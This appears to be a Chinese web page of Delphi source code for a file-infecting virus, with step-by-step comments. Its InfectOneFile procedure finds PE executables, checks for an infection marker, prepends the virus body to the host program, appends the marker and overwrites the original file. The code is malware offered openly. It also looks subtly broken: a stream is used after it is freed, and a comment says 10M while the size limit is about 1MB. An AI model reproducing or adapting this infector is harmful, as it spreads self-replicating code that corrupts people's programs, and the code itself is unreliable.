日期:2014-05-17 浏览次数:20892 次
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; procedure InfectOneFile(FileName: string); var SelfStream, SrcStream: TFileStream; //两个文件流一个存放自己,一个存放宿主程序 DstStream: TMemoryStream;//将自己和宿主程序合并后存入这个流 iID: LongInt;//取得程序的最后4个字节的数据与感染标记比对 Infected, IsPE: Boolean;//判断是否已被感染和是否为PE文件格式 i: Integer; Buf: array[0..1] of Char; begin try Infected := False; IsPE := False; //创建宿主程序到SrcStream SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头PE头偏移量一般小于$108(十六进制) begin SrcStream.Seek(i, soFromBeginning);//将流指向文件开始 SrcStream.Read(Buf, 2);//每两个字节读取到buf //#80#69就是字母PE,PE头以PE字母开头 if (Buf[0] = #80) and (Buf[1] = #69) then begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //将流指向文件最后面的倒数第4个字节 SrcStream.Read(iID, 4);//把这4个字节读出来判断是不是$44444444即感染标记 if (iID = ID) or (SrcStream.Size > 1024000) then //大于10M的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; DstStream := TMemoryStream.Create; try //将本程序写入SelfStream流 SelfStream := TFileStream.Create(ParamStr(0), fmOpenRead); try //写入本程序即病毒体到合并流 CopyStream(SelfStream, 0, DstStream, 0, VSize); //再接着写入宿主程序 CopyStream(SrcStream, 0, DstStream, VSize, SrcStream.Size); ////将流指向流的结尾 DstStream.Seek(0, soFromEnd); iID := $44444444; DstStream.Write(iID, 4);//写入4个字节的感染标记 finally SelfStream.Free; end; finally SrcStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 ,保存文件 DstStream.Free; end; except; end; end;